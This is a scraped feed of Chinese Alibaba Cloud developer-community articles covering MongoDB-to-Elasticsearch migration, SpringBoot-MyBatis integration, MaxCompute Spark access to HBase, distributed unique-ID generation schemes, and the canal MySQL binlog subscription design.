      • 非持续性迁移。项目全部完工之后,原有的MongoDB集群会全部销毁,不会有二次迁移需求;
      • 数据量问题。原有MongoDB操作日志数据量有几十亿条,迁移过程不能太快也不能太慢,速度太快,MongoDB集群会出现性能问题,速度太慢,项目周期太长,增加运维的成本与复杂度。否则可以选择Hadoop作为中转平台的迁移;
      • DataX源码特定场景改造。如日期类型的转换、索引主键_id的生成、索引主键_id映射,支持重复同步;
      • 多实例多线程并行。主数据同步部署多个实例,从数据同步也部署多个实例,单实例中配置多个Channel。

      image.png

      2.迁移索引设置

      临时修改索引的一些设置,当数据同步完之后再修改回来,如下:

        "index.number_of_replicas": 0,
        "index.refresh_interval": "30s",
        "index.translog.flush_threshold_size": "1024M"
        "index.translog.durability": "async",
        "index.translog.sync_interval": "5s"

      3.应用迁移

      操作日志项目采用Springboot构建,增加了自定义配置项,如下:

      #应用写入mongodb标识
      writeflag.mongodb: true
      #应用写入elasticsearch标识
      writeflag.elasticsearch: true

      项目改造说明:
      • 第一次上线的时候,先将2个写入标识设置为true,双写MongoDB和ES;
      • 对于读,提供2个不同接口,前端自由的切换;
      • 等数据迁移完,没有差异的时候,重新更改flag的值。

      image.png

      结语

      1.迁移效果

      弃用MongoDB使用ElasticSearch作为存储数据库,服务器从原来的15台MongoDB,变成了3台ElasticSearch,每月为公司节约了一大笔费用。同时查询性能提高了10倍以上,而且更好的支持了各种查询,得到了业务部门的使用者,运维团队和领导的一致赞赏。

      2.经验总结

      整个项目前后历经几个月,多位同事参与,设计、研发,数据迁移、测试、数据验证、压测等各个环节。技术方案不是一步到位,中间也踩了很多坑,最终上线了。ES的技术优秀特点很多,灵活的使用,才能发挥最大的威力。

      声明:本文由原文作者“李猛”授权转载,对未经许可擅自使用者,保留追究其法律责任的权利。


      image.png

      阿里云Elastic Stack】100%兼容开源ES,独有9大能力,提供免费X-pack服务(单节点价值$6000)

      相关活动


      更多折扣活动,请访问阿里云 Elasticsearch 官网

      阿里云 Elasticsearch 商业通用版,1核2G ,SSD 20G首月免费
      阿里云 Logstash 2核4G首月免费


      image.png

      image.png

      ]]>
      SpringBoot中如何使用注解方式整合Mybatis?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文来自于千锋教育在阿里云开发者社区学习中心上线课程《SpringBoot实战教程》,主讲人杨红艳,点击查看视频内容

      SpringBoot中整合Mybatis(注解方式)

      添加依赖:

      <!-- springboot整合mybatis,注解版 -->
              <dependency>
                  <groupId>org.mybatis.spring.boot</groupId>
                  <artifactId>mybatis-spring-boot-starter</artifactId>
                  <version>1.3.1</version>
              </dependency>
             
      <!-- MySQL -->
              <dependency>
                  <groupId>mysql</groupId>
                  <artifactId>mysql-connector-java</artifactId>
              </dependency>

      依然使用db1数据库中的users表。
      创建全局配置文件:application.properties,添加连接数据库的信息:

      spring.datasource.driver-class-name=com.mysql.jdbc.Driver
      spring.datasource.username=root
      spring.datasource.password=root
      spring.datasource.url=jdbc:mysql://localhost:3306/db1

      逆向生成com.db1.pojo,创建实体类。

      image.png

      mapper:

      public interface UsersMapper {
      
          @Select("select * from users where name=#{name}")
          Users findUserByName(@Param("name") String name);
      
          @Insert("insert into users(name, password) values(#{name}, #{password})")
          void addUser(@Param("name") String name, @Param("password")String password);
      }

      UsersService:

      public interface UsersService {
      
          Users findUser(String name);
      
          void saveUser(Users user);
      }

      UsersServiceImpl:

      @Service
      public class UsersServiceImpl implements UsersService {
      
          @Autowired
          private UserMapper usersMapper;
      
          @Override
          public Users findUser(String name) {
              return usersMapper.findUserByName(name);
          }
      
          @Override
          public void saveUser(Users user) {
              usersMapper.addUser(user.getName(), user.getPassword());
          }
      
      }

      UsersController:

      @RestController
      public class UsersController {
      
          @Autowired
          private UsersService usersService;
      
          @RequestMapping("/findUser")
          //@ResponseBody
          public Users findUser(String name) {
              return usersService.findUser(name);
          }
      
          @RequestMapping("/addUser")
          //@ResponseBody
          public String addUser() {
       
              Users user = new Users();
              user.setName("王小二");
              user.setPassword("9999");
              usersService.saveUser(user);
              return "ok";
          }
      }

      在启动类中添加所有需要扫描的包,mapper需要单独扫描

      @SpringBootApplication(scanBasePackages="com.qianfeng")
      @MapperScan("com.db1.mapper")

      查找用户执行结果:

      image.png

      添加用户执行结果:

      image.png
      image.png

      配套视频

      ]]>
      如何使用MaxCompute Spark读写阿里云Hbase-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

      背景

      Spark on MaxCompute可以访问位于阿里云VPC内的实例(例如ECS、HBase、RDS),默认MaxCompute底层网络和外网是隔离的,Spark on MaxCompute提供了一种方案通过配置spark.hadoop.odps.cupid.vpc.domain.list来访问阿里云的vpc网络环境的Hbase。Hbase标准版和增强版的配置不同,本文通过访问阿里云的标准版和增强版的Hbase简单的描述需要加的配置。

      Hbase标准版

      环境准备
      Hbase的网络环境是存在vpc下的,所以我们首先要添加安全组开放端口2181、10600、16020.同时Hbase有白名单限制我们需要把对应的MaxCompute的IP加入到Hbase的白名单。
      设置对应vpc的安全组
      image.png
      找到对应的vpc id然后添加安全组设置端口
      image.png


      添加Hbase的白名单


      在hbase的白名单添加

      100.104.0.0/16

      创建Hbase表

      create 'test','cf'

      编写Spark程序
      需要的Hbase依赖

       <dependency>
            <groupId>org.apache.hbase</groupId>
            <artifactId>hbase-mapreduce</artifactId>
            <version>2.0.2</version>
          </dependency>
           <dependency>
            <groupId>com.aliyun.hbase</groupId>
            <artifactId>alihbase-client</artifactId>
            <version>2.0.5</version>
          </dependency>

      编写代码

      object App {
        def main(args: Array[String]) {
          val spark = SparkSession
            .builder()
            .appName("HbaseTest")
            .config("spark.sql.catalogImplementation", "odps")
            .config("spark.hadoop.odps.end.point","http://service.cn.maxcompute.aliyun.com/api")
            .config("spark.hadoop.odps.runtime.end.point","http://service.cn.maxcompute.aliyun-inc.com/api")
            .getOrCreate()
      
          val sc = spark.sparkContext
          val config = HBaseConfiguration.create()
          val zkAddress = "hb-2zecxg2ltnpeg8me4-master*-***:2181,hb-2zecxg2ltnpeg8me4-master*-***:2181,hb-2zecxg2ltnpeg8me4-master*-***:2181"
          config.set(HConstants.ZOOKEEPER_QUORUM, zkAddress);
          val jobConf = new JobConf(config)
          jobConf.setOutputFormat(classOf[TableOutputFormat])
          jobConf.set(TableOutputFormat.OUTPUT_TABLE,"test")
      
      
          try{
      
            import spark._
            spark.sql("select '7', 88 ").rdd.map(row => {
              val name= row(0).asInstanceOf[String]
              val id = row(1).asInstanceOf[Integer]
              val put = new Put(Bytes.toBytes(id))
              put.addColumn(Bytes.toBytes("cf"), Bytes.toBytes(id), Bytes.toBytes(name))
              (new ImmutableBytesWritable, put)
            }).saveAsHadoopDataset(jobConf)
          } finally {
            sc.stop()
          }
        }
      }

      提交到DataWorks
      由于大于50m通过odps客户端提交

      add jar SparkHbase-1.0-SNAPSHOT -f; 

      进入数据开发新建spark节点
      image.png


      添加配置
      需要配置spark.hadoop.odps.cupid.vpc.domain.list
      这里的hbase域名需要hbase所有的机器,少一台可能会造成网络不通

      {
        "regionId":"cn-beijing",
        "vpcs":[
          {
            "vpcId":"vpc-2zeaeq21mb1dmkqh0exox",
            "zones":[
              {
                "urls":[
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":2181
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16000
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":2181
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16000
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":2181
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16000
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-cor*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-cor*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-cor*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  }
                ]
              }
            ]
          }
        ]
      }

      image.png

      Hbase增强版

      环境准备
      Hbase增强版的端口是30020、10600、16020.同时Hbase有白名单限制我们需要把对应的MaxCompute的IP加入到Hbase的白名单。
      设置对应vpc的安全组
      找到对应的vpc id然后添加安全组设置端口
      image.png
      添加Hbase的白名单

      100.104.0.0/16

      创建Hbase表 

      create 'test','cf'

      编写Spark程序
      需要的Hbase依赖,引用的包必须是阿里云增强版的依赖

         <dependency>
            <groupId>com.aliyun.hbase</groupId>
            <artifactId>alihbase-client</artifactId>
            <version>2.0.8</version>
          </dependency>

      编写代码

      object McToHbase {
        def main(args: Array[String]) {
          val spark = SparkSession
            .builder()
            .appName("spark_sql_ddl")
            .config("spark.sql.catalogImplementation", "odps")
            .config("spark.hadoop.odps.end.point","http://service.cn.maxcompute.aliyun.com/api")
            .config("spark.hadoop.odps.runtime.end.point","http://service.cn.maxcompute.aliyun-inc.com/api")
            .getOrCreate()
      
            val sc = spark.sparkContext
      
      
          try{
            spark.sql("select '7', 'long'").rdd.foreachPartition { iter =>
              val config = HBaseConfiguration.create()
              // 集群的连接地址(VPC内网地址)在控制台页面的数据库连接界面获得
              config.set("hbase.zookeeper.quorum", ":30020");
              import spark._
              // xml_template.comment.hbaseue.username_password.default
              config.set("hbase.client.username", "");
              config.set("hbase.client.password", "");
              val tableName = TableName.valueOf( "test")
              val conn = ConnectionFactory.createConnection(config)
              val table = conn.getTable(tableName);
              val puts = new util.ArrayList[Put]()
              iter.foreach(
                row => {
                  val id = row(0).asInstanceOf[String]
                  val name = row(1).asInstanceOf[String]
                  val put = new Put(Bytes.toBytes(id))
                  put.addColumn(Bytes.toBytes("cf"), Bytes.toBytes(id), Bytes.toBytes(name))
                  puts.add(put)
                  table.put(puts)
                }
              )
            }
        } finally {
          sc.stop()
        }
      
      
      
        }
      }

      注意
      hbase clinet会报org.apache.spark.SparkException: Task not serializable
      原因是spark会把序列化对象以将其发送给其他的worker
      解决方案

      - 使类可序列化
      - 仅在map中传递的lambda函数中声明实例。
      - 将NotSerializable对象设置为静态对象,并在每台计算机上创建一次。
      - 调用rdd.forEachPartition并在其中创建
      
      Serializable对象,如下所示:
      
      rdd.forEachPartition(iter-> {NotSerializable notSerializable = new NotSerializable();<br />// ...现在处理iter});
      


      提交到DataWorks
      由于大于50m通过odps客户端提交

      add jar SparkHbase-1.0-SNAPSHOT -f; 

      进入数据开发新建spark节点

      image.png


      添加配置
      需要配置spark.hadoop.odps.cupid.vpc.domain.list
      注意
      1.这个里需要添加增强版java api访问地址,这里必须采用ip的形式。ip通过直接ping该地址获取,这里的ip是172.16.0.10添加端口16000

      image.png
      2.这里的hbase域名需要hbase所有的机器,少一台可能会造成网络不通

      {
        "regionId":"cn-beijing",
        "vpcs":[
          {
            "vpcId":"vpc-2zeaeq21mb1dmkqh0exox",
            "zones":[
              {
                "urls":[
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":30020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16000
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":30020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16000
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":30020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16000
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-master*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-cor*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-cor*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                  {
                    "domain":"hb-2zecxg2ltnpeg8me4-cor*-***.hbase.rds.aliyuncs.com",
                    "port":16020
                  },
                   {"domain":"172.16.0.10","port":16000}
                ]
              }
            ]
          }
        ]
      }

      image.png

      大家如果对MaxCompute有更多咨询或者建议,欢迎扫码加入 MaxCompute开发者社区钉钉群,或点击链接 申请加入。

      image.png

      ]]>
      一篇搞定,分布式系统中唯一主键生成-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 系统唯一ID是我们在设计一个系统的时候常常会遇见的问题,也常常为这个问题而纠结。生成ID的方法有很多,适应不同的场景、需求以及性能要求。所以有些比较复杂的系统会有多个ID生成的策略。下面就介绍一些常见的ID生成策略。

      1. 数据库自增长序列或字段
        最常见的方式。利用数据库,全数据库唯一。

      优点:

      1)简单,代码方便,性能可以接受。

      2)数字ID天然排序,对分页或者需要排序的结果很有帮助。

      缺点:

      1)不同数据库语法和实现不同,数据库迁移的时候或多数据库版本支持的时候需要处理。

      2)在单个数据库或读写分离或一主多从的情况下,只有一个主库可以生成。有单点故障的风险。

      3)在性能达不到要求的情况下,比较难于扩展。

      4)如果遇见多个系统需要合并或者涉及到数据迁移会相当痛苦。

      5)分表分库的时候会有麻烦。

      优化方案:

      1)针对主库单点,如果有多个Master库,则每个Master库设置的起始数字不一样,步长一样,可以是Master的个数。比如:Master1 生成的是 1,4,7,10,Master2生成的是2,5,8,11 Master3生成的是 3,6,9,12。这样就可以有效生成集群中的唯一ID,也可以大大降低ID生成数据库操作的负载。

      1. UUID
        常见的方式。可以利用数据库也可以利用程序生成,一般来说全球唯一。

      优点:

      1)简单,代码方便。

      2)生成ID性能非常好,基本不会有性能问题。

      3)全球唯一,在遇见数据迁移,系统数据合并,或者数据库变更等情况下,可以从容应对。

      缺点:

      1)没有排序,无法保证趋势递增。

      2)UUID往往是使用字符串存储,查询的效率比较低。

      3)存储空间比较大,如果是海量数据库,就需要考虑存储量的问题。

      4)传输数据量大

      5)不可读。

      1. UUID的变种
        1)为了解决UUID不可读,可以使用UUID to Int64的方法。及

      ///
      /// 根据GUID获取唯一数字序列
      ///
      public static long GuidToInt64()
      {

      byte[] bytes = Guid.NewGuid().ToByteArray();
      return BitConverter.ToInt64(bytes, 0);

      }
      2)为了解决UUID无序的问题,NHibernate在其主键生成方式中提供了Comb算法(combined guid/timestamp)。保留GUID的10个字节,用另6个字节表示GUID生成的时间(DateTime)。

      ///
      /// Generate a new using the comb algorithm.
      ///
      private Guid GenerateComb()
      {

      byte[] guidArray = Guid.NewGuid().ToByteArray();
      
      DateTime baseDate = new DateTime(1900, 1, 1);
      DateTime now = DateTime.Now;
      
      // Get the days and milliseconds which will be used to build    
      //the byte string    
      TimeSpan days = new TimeSpan(now.Ticks - baseDate.Ticks);
      TimeSpan msecs = now.TimeOfDay;
      
      // Convert to a byte array        
      // Note that SQL Server is accurate to 1/300th of a    
      // millisecond so we divide by 3.333333    
      byte[] daysArray = BitConverter.GetBytes(days.Days);
      byte[] msecsArray = BitConverter.GetBytes((long)
        (msecs.TotalMilliseconds / 3.333333));
      
      // Reverse the bytes to match SQL Servers ordering    
      Array.Reverse(daysArray);
      Array.Reverse(msecsArray);
      
      // Copy the bytes into the guid    
      Array.Copy(daysArray, daysArray.Length - 2, guidArray,
        guidArray.Length - 6, 2);
      Array.Copy(msecsArray, msecsArray.Length - 4, guidArray,
        guidArray.Length - 4, 4);
      
      return new Guid(guidArray);

      }
      用上面的算法测试一下,得到如下的结果:作为比较,前面3个是使用COMB算法得出的结果,最后12个字符串是时间序(统一毫秒生成的3个UUID),过段时间如果再次生成,则12个字符串会比图示的要大。后面3个是直接生成的GUID。
      image.png

      如果想把时间序放在前面,可以生成后改变12个字符串的位置,也可以修改算法类的最后两个Array.Copy。

      1. Redis生成ID
        当使用数据库来生成ID性能不够要求的时候,我们可以尝试使用Redis来生成ID。这主要依赖于Redis是单线程的,所以也可以用生成全局唯一的ID。可以用Redis的原子操作 INCR和INCRBY来实现。

      可以使用Redis集群来获取更高的吞吐量。假如一个集群中有5台Redis。可以初始化每台Redis的值分别是1,2,3,4,5,然后步长都是5。各个Redis生成的ID为:

      A:1,6,11,16,21

      B:2,7,12,17,22

      C:3,8,13,18,23

      D:4,9,14,19,24

      E:5,10,15,20,25

      这个,随便负载到哪个机确定好,未来很难做修改。但是3-5台服务器基本能够满足器上,都可以获得不同的ID。但是步长和初始值一定需要事先需要了。使用Redis集群也可以方式单点故障的问题。

      另外,比较适合使用Redis来生成每天从0开始的流水号。比如订单号=日期+当日自增长号。可以每天在Redis中生成一个Key,使用INCR进行累加。

      优点:

      1)不依赖于数据库,灵活方便,且性能优于数据库。

      2)数字ID天然排序,对分页或者需要排序的结果很有帮助。

      缺点:

      1)如果系统中没有Redis,还需要引入新的组件,增加系统复杂度。

      2)需要编码和配置的工作量比较大。

      1. Twitter的snowflake算法
        snowflake是Twitter开源的分布式ID生成算法,结果是一个long型的ID。其核心思想是:使用41bit作为毫秒数,10bit作为机器的ID(5个bit是数据中心,5个bit的机器ID),12bit作为毫秒内的流水号(意味着每个节点在每毫秒可以产生 4096 个 ID),最后还有一个符号位,永远是0。具体实现的代码可以参看https://github.com/twitter/snowflake

      C#代码如下:

      ///

      /// From: https://github.com/twitter/snowflake
      /// An object that generates IDs.
      /// This is broken into a separate class in case
      /// we ever want to support multiple worker threads
      /// per process
      /// </summary>
      public class IdWorker
      {
          private long workerId;
          private long datacenterId;
          private long sequence = 0L;
      
          private static long twepoch = 1288834974657L;
      
          private static long workerIdBits = 5L;
          private static long datacenterIdBits = 5L;
          private static long maxWorkerId = -1L ^ (-1L << (int)workerIdBits);
          private static long maxDatacenterId = -1L ^ (-1L << (int)datacenterIdBits);
          private static long sequenceBits = 12L;
      
          private long workerIdShift = sequenceBits;
          private long datacenterIdShift = sequenceBits + workerIdBits;
          private long timestampLeftShift = sequenceBits + workerIdBits + datacenterIdBits;
          private long sequenceMask = -1L ^ (-1L << (int)sequenceBits);
      
          private long lastTimestamp = -1L;
          private static object syncRoot = new object();
      
          public IdWorker(long workerId, long datacenterId)
          {
      
              // sanity check for workerId
              if (workerId > maxWorkerId || workerId < 0)
              {
                  throw new ArgumentException(string.Format("worker Id can't be greater than %d or less than 0", maxWorkerId));
              }
              if (datacenterId > maxDatacenterId || datacenterId < 0)
              {
                  throw new ArgumentException(string.Format("datacenter Id can't be greater than %d or less than 0", maxDatacenterId));
              }
              this.workerId = workerId;
              this.datacenterId = datacenterId;
          }
      
          public long nextId()
          {
              lock (syncRoot)
              {
                  long timestamp = timeGen();
      
                  if (timestamp < lastTimestamp)
                  {
                      throw new ApplicationException(string.Format("Clock moved backwards.  Refusing to generate id for %d milliseconds", lastTimestamp - timestamp));
                  }
      
                  if (lastTimestamp == timestamp)
                  {
                      sequence = (sequence + 1) & sequenceMask;
                      if (sequence == 0)
                      {
                          timestamp = tilNextMillis(lastTimestamp);
                      }
                  }
                  else
                  {
                      sequence = 0L;
                  }
      
                  lastTimestamp = timestamp;
      
                  return ((timestamp - twepoch) << (int)timestampLeftShift) | (datacenterId << (int)datacenterIdShift) | (workerId << (int)workerIdShift) | sequence;
              }
          }
      
          protected long tilNextMillis(long lastTimestamp)
          {
              long timestamp = timeGen();
              while (timestamp <= lastTimestamp)
              {
                  timestamp = timeGen();
              }
              return timestamp;
          }
      
          protected long timeGen()
          {
              return (long)(DateTime.UtcNow - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalMilliseconds;
          }
      }

      测试代码如下:

      private static void TestIdWorker()

          {
              HashSet<long> set = new HashSet<long>();
              IdWorker idWorker1 = new IdWorker(0, 0);
              IdWorker idWorker2 = new IdWorker(1, 0);
              Thread t1 = new Thread(() => DoTestIdWoker(idWorker1, set));
              Thread t2 = new Thread(() => DoTestIdWoker(idWorker2, set));
              t1.IsBackground = true;
              t2.IsBackground = true;
      
              t1.Start();
              t2.Start();
              try
              {
                  Thread.Sleep(30000);
                  t1.Abort();
                  t2.Abort();
              }
              catch (Exception e)
              {
              }
      
              Console.WriteLine("done");
          }
      
          private static void DoTestIdWoker(IdWorker idWorker, HashSet<long> set)
          {
              while (true)
              {
                  long id = idWorker.nextId();
                  if (!set.Add(id))
                  {
                      Console.WriteLine("duplicate:" + id);
                  }
      
                  Thread.Sleep(1);
              }
          }

      snowflake算法可以根据自身项目的需要进行一定的修改。比如估算未来的数据中心个数,每个数据中心的机器数以及统一毫秒可以能的并发数来调整在算法中所需要的bit数。

      优点:

      1)不依赖于数据库,灵活方便,且性能优于数据库。

      2)ID按照时间在单机上是递增的。

      缺点:

      1)在单机上是递增的,但是由于涉及到分布式环境,每台机器上的时钟不可能完全同步,也许有时候也会出现不是全局递增的情况。

      1. 利用zookeeper生成唯一ID
        zookeeper主要通过其znode数据版本来生成序列号,可以生成32位和64位的数据版本号,客户端可以使用这个版本号来作为唯一的序列号。很少会使用zookeeper来生成唯一ID。主要是由于需要依赖zookeeper,并且是多步调用API,如果在竞争较大的情况下,需要考虑使用分布式锁。因此,性能在高并发的分布式环境下,也不甚理想。
      2. MongoDB的ObjectId
        MongoDB的ObjectId和snowflake算法类似。它设计成轻量型的,不同的机器都能用全局唯一的同种方法方便地生成它。MongoDB 从一开始就设计用来作为分布式数据库,处理多个节点是一个核心要求。使其在分片环境中要容易生成得多。

      其格式如下:

      image.png

      前4 个字节是从标准纪元开始的时间戳,单位为秒。时间戳,与随后的5 个字节组合起来,提供了秒级别的唯一性。由于时间戳在前,这意味着ObjectId 大致会按照插入的顺序排列。这对于某些方面很有用,如将其作为索引提高效率。这4 个字节也隐含了文档创建的时间。绝大多数客户端类库都会公开一个方法从ObjectId 获取这个信息。接下来的3 字节是所在主机的唯一标识符。通常是机器主机名的散列值。这样就可以确保不同主机生成不同的ObjectId,不产生冲突。为了确保在同一台机器上并发的多个进程产生的ObjectId 是唯一的,接下来的两字节来自产生ObjectId 的进程标识符(PID)。前9 字节保证了同一秒钟不同机器不同进程产生的ObjectId 是唯一的。后3 字节就是一个自动增加的计数器,确保相同进程同一秒产生的ObjectId 也是不一样的。同一秒钟最多允许每个进程拥有2563(16 777 216)个不同的ObjectId。

      实现的源码可以到MongoDB官方网站下载。

      ]]>
      使用canal增量订阅MySQL binlog-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 【转载请注明出处】:https://juejin.im/post/5ecf04ec5188254316147950

      基于数据库增量日志解析,提供增量数据订阅&消费,目前主要支持了mysql。
      早期,阿里巴巴B2B公司因为存在杭州和美国双机房部署,存在跨机房同步的业务需求。不过早期的数据库同步业务,主要是基于trigger的方式获取增量变更,不过从2010年开始,阿里系公司开始逐步的尝试基于数据库的日志解析,获取增量变更进行同步,由此衍生出了增量订阅&消费的业务,从此开启了一段新纪元。

      1. 目前内部版本已经支持mysql和oracle部分版本的日志解析,当前的canal开源版本支持5.7及以下的版本(阿里内部mysql 5.7.13, 5.6.10, mysql 5.5.18和5.1.40/48)

      基于日志增量订阅&消费支持的业务:

      • 数据库镜像
      • 数据库实时备份
      • 多级索引 (卖家和买家各自分库索引)
      • search build
      • 业务cache刷新
      • 价格变化等重要业务消息

      1、Canal工作原理

      mysql主备复制实现

      image.png

      从上层来看,复制分成三步:

      1. master将改变记录到二进制日志(binary log)中(这些记录叫做二进制日志事件,binary log events,可以通过show binlog events进行查看);
      2. slave将master的binary log events拷贝到它的中继日志(relay log);
      3. slave重做中继日志中的事件,将改变反映它自己的数据。
      canal的工作原理:

      image.png

      原理相对比较简单:

      1. canal模拟mysql slave的交互协议,伪装自己为mysql slave,向mysql master发送dump协议
      2. mysql master收到dump请求,开始推送binary log给slave(也就是canal)
      3. canal解析binary log对象(原始为byte流)
      架构

      image.png
      说明:

      • server代表一个canal运行实例,对应于一个jvm
      • instance对应于一个数据队列 (1个server对应1..n个instance)

      instance模块:

      • eventParser (数据源接入,模拟slave协议和master进行交互,协议解析)
      • eventSink (Parser和Store链接器,进行数据过滤,加工,分发的工作)
      • eventStore (数据存储)
      • metaManager (增量订阅&消费信息管理器)
      EventParser设计

      大致过程:
      image.png
      整个parser过程大致可分为几步:

      1. Connection获取上一次解析成功的位置 (如果第一次启动,则获取初始指定的位置或者是当前数据库的binlog位点)
      2. Connection建立链接,发送BINLOG_DUMP指令
        // 0. write command number

      // 1. write 4 bytes bin-log position to start at
      // 2. write 2 bytes bin-log flags
      // 3. write 4 bytes server id of the slave
      // 4. write bin-log file name

      1. Mysql开始推送Binaly Log
      2. 接收到的Binaly Log的通过Binlog parser进行协议解析,补充一些特定信息
        // 补充字段名字,字段类型,主键信息,unsigned类型处理
      3. 传递给EventSink模块进行数据存储,是一个阻塞操作,直到存储成功
      4. 存储成功后,定时记录Binaly Log位置

      mysql的Binlay Log网络协议:
      image.png
      说明:

      https://dev.mysql.com/doc/internals/en/event-structure.html
      https://dev.mysql.com/doc/internals/en/binlog-event.html

      EventSink设计

      image.png

      说明:

      • 数据过滤:支持通配符的过滤模式,表名,字段内容等
      • 数据路由/分发:解决1:n (1个parser对应多个store的模式)
      • 数据归并:解决n:1 (多个parser对应1个store)
      • 数据加工:在进入store之前进行额外的处理,比如join

      数据1:n业务
      为了合理的利用数据库资源, 一般常见的业务都是按照schema进行隔离,然后在mysql上层或者dao这一层面上,进行一个数据源路由,屏蔽数据库物理位置对开发的影响,阿里系主要是通过cobar/tddl来解决数据源路由问题。
      所以,一般一个数据库实例上,会部署多个schema,每个schema会有由1个或者多个业务方关注

      数据n:1业务
      同样,当一个业务的数据规模达到一定的量级后,必然会涉及到水平拆分和垂直拆分的问题,针对这些拆分的数据需要处理时,就需要链接多个store进行处理,消费的位点就会变成多份,而且数据消费的进度无法得到尽可能有序的保证。
      所以,在一定业务场景下,需要将拆分后的增量数据进行归并处理,比如按照时间戳/全局id进行排序归并.

      EventStore设计
      1. 目前仅实现了Memory内存模式,后续计划增加本地file存储,mixed混合模式
      2. 借鉴了Disruptor的RingBuffer的实现思路

      RingBuffer设计:
      image

      定义了3个cursor

      • Put : Sink模块进行数据存储的最后一次写入位置
      • Get : 数据订阅获取的最后一次提取位置
      • Ack : 数据消费成功的最后一次消费位置

      借鉴Disruptor的RingBuffer的实现,将RingBuffer拉直来看:
      image

      实现说明:

      • Put/Get/Ack cursor用于递增,采用long型存储
      • buffer的get操作,通过取余或者与操作。(与操作: cusor & (size - 1) , size需要为2的指数,效率比较高)
      Instance设计

      image.png

      instance代表了一个实际运行的数据队列,包括了EventPaser,EventSink,EventStore等组件。

      抽象了CanalInstanceGenerator,主要是考虑配置的管理方式:

      • manager方式: 和你自己的内部web console/manager系统进行对接。(目前主要是公司内部使用)
      • spring方式:基于spring xml + properties进行定义,构建spring配置.
      Server设计

      image.png

      server代表了一个canal的运行实例,为了方便组件化使用,特意抽象了Embeded(嵌入式) / Netty(网络访问)的两种实现

      • Embeded : 对latency和可用性都有比较高的要求,自己又能hold住分布式的相关技术(比如failover)
      • Netty : 基于netty封装了一层网络协议,由canal server保证其可用性,采用的pull模型,当然latency会稍微打点折扣,不过这个也视情况而定。(阿里系的notify和metaq,典型的push/pull模型,目前也逐步的在向pull模型靠拢,push在数据量大的时候会有一些问题)
      增量订阅/消费设计

      image.png
      具体的协议格式,可参见:CanalProtocol.proto

      get/ack/rollback协议介绍:

      • Message getWithoutAck(int batchSize),允许指定batchSize,一次可以获取多条,每次返回的对象为Message,包含的内容为:

        1. batch id 唯一标识
        2. entries 具体的数据对象,对应的数据对象格式:EntryProtocol.proto
      • void rollback(long batchId),顾命思议,回滚上次的get请求,重新获取数据。基于get获取的batchId进行提交,避免误操作
      • void ack(long batchId),顾命思议,确认已经消费成功,通知server删除数据。基于get获取的batchId进行提交,避免误操作

      canal的get/ack/rollback协议和常规的jms协议有所不同,允许get/ack异步处理,比如可以连续调用get多次,后续异步按顺序提交ack/rollback,项目中称之为流式api.

      流式api设计的好处:

      • get/ack异步化,减少因ack带来的网络延迟和操作成本 (99%的状态都是处于正常状态,异常的rollback属于个别情况,没必要为个别的case牺牲整个性能)
      • get获取数据后,业务消费存在瓶颈或者需要多进程/多线程消费时,可以不停的轮询get数据,不停的往后发送任务,提高并行化. (作者在实际业务中的一个case:业务数据消费需要跨中美网络,所以一次操作基本在200ms以上,为了减少延迟,所以需要实施并行化)

      流式api设计:
      image.png

      • 每次get操作都会在meta中产生一个mark,mark标记会递增,保证运行过程中mark的唯一性
      • 每次的get操作,都会在上一次的mark操作记录的cursor继续往后取,如果mark不存在,则在last ack cursor继续往后取
      • 进行ack时,需要按照mark的顺序进行数序ack,不能跳跃ack. ack会删除当前的mark标记,并将对应的mark位置更新为last ack cusor
